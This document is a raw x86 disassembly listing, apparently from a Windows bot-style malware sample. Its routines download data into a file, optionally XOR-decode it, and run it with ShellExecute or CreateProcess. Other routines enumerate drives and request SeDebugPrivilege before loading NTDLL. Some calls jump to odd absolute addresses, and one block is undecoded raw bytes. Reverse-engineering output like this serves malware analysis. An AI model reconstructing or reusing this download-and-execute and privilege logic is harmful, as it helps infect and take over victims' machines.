lea eax, [ebp-0A04h]
push esi
push eax
call sub_41B590
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
nop
call near ptr 2760000h
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
call near ptr 26F0000h
nop
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CAFC4
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CAF8C
cmp eax, ebx
jl loc_41617B
mov eax, [ebp-4]
cmp eax, ebx
jl loc_41617B
sub [ebp+8], eax
jnz loc_416049
mov edi, [ebp-18h]
loc_4160E6: ; CODE XREF: ___:0041603Ej
push dword ptr [ebp-8]
call near ptr 265098Dh
nop
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416922
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CB000
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_4374B0
push eax
call sub_41B886
loc_41611F: ; CODE XREF: ___:00415FF6j
add esp, 14h
loc_416122: ; CODE XREF: ___:0041602Fj
cmp [ebp-50h], esi
jnz short loc_416147
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 14h
loc_416147: ; CODE XREF: ___:00416125j
lea eax, [ebp-3FCh]
push eax
call sub_4151AC
cmp edi, esi
pop ecx
jbe short loc_41615F
push edi
call dword_4CB00C
loc_41615F: ; CODE XREF: ___:00416156j
push dword ptr [ebp-1F8h]
call dword_4CB00C
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push esi
call near ptr 26D0000h
nop
loc_41617B: ; CODE XREF: ___:004160C9j
; ___:004160D4j
push esi
mov esi, offset dword_437498
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
push esi
call sub_4151AC
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CB00C
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_4161BC: ; DATA XREF: sub_401ACD+7B4o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
nop
call near ptr 2670000h
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_4293C4
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call near ptr 26F07E8h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_416246
push offset unk_437614
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_416246: ; CODE XREF: ___:0041623Dj
push eax
nop
call near ptr 265098Dh
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41B4C2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_41626E
push offset unk_4375E4
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_41626E: ; CODE XREF: ___:00416265j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415BD3
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_41629F
push offset unk_4375C4
loc_41628C: ; CODE XREF: ___:00416244j
; ___:0041626Cj
lea eax, [ebp-4C4h]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_41639B
; ---------------------------------------------------------------------------
loc_41629F: ; CODE XREF: ___:00416285j
mov esi, 1000h
loc_4162A4: ; CODE XREF: ___:0041630Aj
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CAF8C
mov edi, eax
cmp edi, ebx
jz loc_41636B
cmp edi, 0FFFFFFFFh
jz short loc_41630C
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D2B4
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CAF70
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
jmp short loc_4162A4
; ---------------------------------------------------------------------------
loc_41630C: ; CODE XREF: ___:004162D4j
lea eax, [ebp-4C4h]
push offset dword_437498
push eax
call sub_41B886
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
push dword ptr [ebp-4]
call sub_41B05B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push 1
nop
call near ptr 26D0000h
loc_41636B: ; CODE XREF: ___:004162CBj
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_437598
push eax
call sub_41B886
add esp, 14h
loc_41639B: ; CODE XREF: ___:0041629Aj
cmp [ebp-14h], ebx
jnz short loc_4163C0
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
add esp, 14h
loc_4163C0: ; CODE XREF: ___:0041639Ej
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
cmp [ebp-4], ebx
pop ecx
jz short loc_4163DB
push dword ptr [ebp-4]
call sub_41B05B
pop ecx
loc_4163DB: ; CODE XREF: ___:004163D0j
cmp [ebp+8], ebx
jbe short loc_4163E9
push dword ptr [ebp+8]
call dword_4CB00C
loc_4163E9: ; CODE XREF: ___:004163DEj
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_4163F9: ; DATA XREF: sub_401ACD+6279o
; sub_401ACD+6AB9o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CAF24
call dword_4CAE78
cmp eax, esi
mov [ebp-18h], eax
jz loc_416885
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 26F07E8h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_4164C0
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_4377E0
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4164A3
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4164A3: ; CODE XREF: ___:00416481j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 26D0000h
loc_4164C0: ; CODE XREF: ___:00416461j
xor edi, edi
call near ptr 2680CBAh
nop
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41B4D5
pop ecx
mov [ebp-1Ch], eax
loc_4164DA: ; CODE XREF: ___:004165ADj
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CAE80
cmp [ebp-34h], esi
jz short loc_41651E
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_4168EB
pop ecx
pop ecx
loc_41651E: ; CODE XREF: ___:0041650Bj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 26E0000h
cmp edi, ebx
jnb short loc_41655C
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_416546
mov eax, [ebp+8]
loc_416546: ; CODE XREF: ___:00416541j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41C310
add esp, 0Ch
loc_41655C: ; CODE XREF: ___:00416538j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416569
cmp edi, [ebp-3Ch]
ja short loc_4165B3
loc_416569: ; CODE XREF: ___:00416562j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_416583
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_4377B8
jmp short loc_416593
; ---------------------------------------------------------------------------
loc_416583: ; CODE XREF: ___:0041656Fj
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437790
loc_416593: ; CODE XREF: ___:00416581j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43DCB0
push eax
call sub_41B886
add esp, 10h
cmp [ebp+8], esi
ja loc_4164DA
loc_4165B3: ; CODE XREF: ___:00416567j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416608
cmp edi, [ebp-3Ch]
jz short loc_416608
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_437764
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416608: ; CODE XREF: ___:004165BDj
; ___:004165C2j
call near ptr 2680CBAh
nop
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 265098Dh
push dword ptr [ebp-1Ch]
call sub_41B0B1
cmp [ebp-38h], esi
pop ecx
jz short loc_416692
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416692
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_43773C
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416692: ; CODE XREF: ___:0041663Aj
; ___:0041664Cj
cmp [ebp-14h], esi
jz loc_4168D2
cmp dword ptr [ebp-44h], 1
jz loc_41678D
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_437704
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_41670D
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_41670D: ; CODE XREF: ___:004166EBj
lea eax, [ebp-510h]
push eax
call sub_4151AC
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_4168D2
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CAEE0
cmp [ebp-30h], esi
jnz loc_4168D2
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_4376E8
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 24h
jmp loc_4168D2
; ---------------------------------------------------------------------------
loc_41678D: ; CODE XREF: ___:0041669Fj
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_4376A4
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_4167F5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4167F5: ; CODE XREF: ___:004167D3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset dword_43D128
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 2660000h
cmp eax, edi
jnz short loc_416877
call dword_4CAECC
call sub_418359
push esi
call near ptr 77E75CB5h
nop
loc_416877: ; CODE XREF: ___:00416863j
lea eax, [ebp-148h]
push eax
push offset unk_437670
jmp short loc_416891
; ---------------------------------------------------------------------------
loc_416885: ; CODE XREF: ___:0041643Ej
lea eax, [ebp-248h]
push eax
push offset unk_437644
loc_416891: ; CODE XREF: ___:00416883j
lea eax, [ebp-510h]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4168C5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4168C5: ; CODE XREF: ___:004168A3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
pop ecx
loc_4168D2: ; CODE XREF: ___:00416695j
; ___:0041671Ej ...
push dword ptr [ebp-18h]
call dword_4CAFA8
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26D0000h
; =============== S U B R O U T I N E =======================================
sub_4168EB proc near ; CODE XREF: ___:00416517p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416907
loc_4168F7: ; CODE XREF: sub_4168EB+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4168F7
locret_416907: ; CODE XREF: sub_4168EB+Aj
retn
sub_4168EB endp
; =============== S U B R O U T I N E =======================================
sub_416908 proc near ; CODE XREF: sub_401ACD+5841p
; sub_401ACD+5969p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D3BE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416908 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416922 proc near ; CODE XREF: sub_40F96A+458p
; sub_40F96A+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D2BA8
push 0
push edi
call sub_41B590
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416947: ; CODE XREF: sub_416922+5Bj
; sub_416922+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41D480
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41D410
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416985
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416947
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416947
; ---------------------------------------------------------------------------
loc_416985: ; CODE XREF: sub_416922+4Bj
dec esi
mov eax, edi
loc_416988: ; CODE XREF: sub_416922+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416997
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416988
; ---------------------------------------------------------------------------
loc_416997: ; CODE XREF: sub_416922+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416922 endp
; =============== S U B R O U T I N E =======================================
sub_4169A1 proc near ; CODE XREF: sub_416B56+51p
; sub_416B56+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CAFD4
sub eax, 0
jz short loc_4169E4
dec eax
jz short loc_4169DE
dec eax
dec eax
jz short loc_4169D8
dec eax
jz short loc_4169D2
dec eax
jz short loc_4169CC
dec eax
jz short loc_4169C6
mov eax, offset word_437834
retn
; ---------------------------------------------------------------------------
loc_4169C6: ; CODE XREF: sub_4169A1+1Dj
mov eax, offset off_437830
retn
; ---------------------------------------------------------------------------
loc_4169CC: ; CODE XREF: sub_4169A1+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4169D2: ; CODE XREF: sub_4169A1+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4169D8: ; CODE XREF: sub_4169A1+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4169DE: ; CODE XREF: sub_4169A1+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4169E4: ; CODE XREF: sub_4169A1+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4169A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169EA proc near ; CODE XREF: sub_416A32+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CAE64
test eax, eax
jz short loc_416A1F
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416A1F: ; CODE XREF: sub_4169EA+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4169EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A32 proc near ; CODE XREF: sub_416B56+17p
; sub_41AA42+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4169EA
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B10
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41B980
add esp, 10h
pop ebx
jmp short loc_416B42
; ---------------------------------------------------------------------------
loc_416B10: ; CODE XREF: sub_416A32+2Cj
; sub_416A32+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
pop ecx
loc_416B42: ; CODE XREF: sub_416A32+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B56 proc near ; CODE XREF: sub_416C28+17p
; sub_416C28+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C070
add esp, 10h
test eax, eax
jnz short loc_416BC9
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_437884
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_416BFD
; ---------------------------------------------------------------------------
loc_416BC9: ; CODE XREF: sub_416B56+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_437848
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 20h
loc_416BFD: ; CODE XREF: sub_416B56+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_500]
push eax
call sub_4151AC
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416B56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416C49
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
jmp short loc_416CAA
; ---------------------------------------------------------------------------
loc_416C49: ; CODE XREF: sub_416C28+9j
push esi
push edi
push ebx
push ebx
call dword_4CAEDC
lea esi, [eax+2]
push esi
call sub_41B4D5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CAEDC
cmp [edi], bl
mov esi, edi
jz short loc_416CA1
loc_416C6D: ; CODE XREF: sub_416C28+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_416C90
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
loc_416C90: ; CODE XREF: sub_416C28+54j
push esi
call sub_41AFE0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416C6D
loc_416CA1: ; CODE XREF: sub_416C28+43j
push edi
call sub_41B0B1
pop ecx
pop edi
pop esi
loc_416CAA: ; CODE XREF: sub_416C28+1Fj
pop ebx
pop ebp
retn
sub_416C28 endp
; ---------------------------------------------------------------------------
byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo
dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh
dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h
dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h
dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
dd 90535959h, 2B923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h
dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h
dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2339180h, 75C08590h
dd 0FC75FF8Fh, 9172E890h, 75FF0231h, 0B8858D14h, 0FFFFFFFDh
dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch
dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
dd 50FFFFFEh, 0F9E89056h, 85023390h, 56B175C0h, 3190EFE8h
dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41A8F4
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416F59
cmp eax, 2
jz short loc_416F59
push offset unk_437B00
jmp loc_417098
; ---------------------------------------------------------------------------
loc_416F59: ; CODE XREF: sub_416F1A+2Ej
; sub_416F1A+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
test eax, eax
pop ecx
jz loc_417093
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call near ptr 2690C07h
nop
mov esi, dword_4270BC
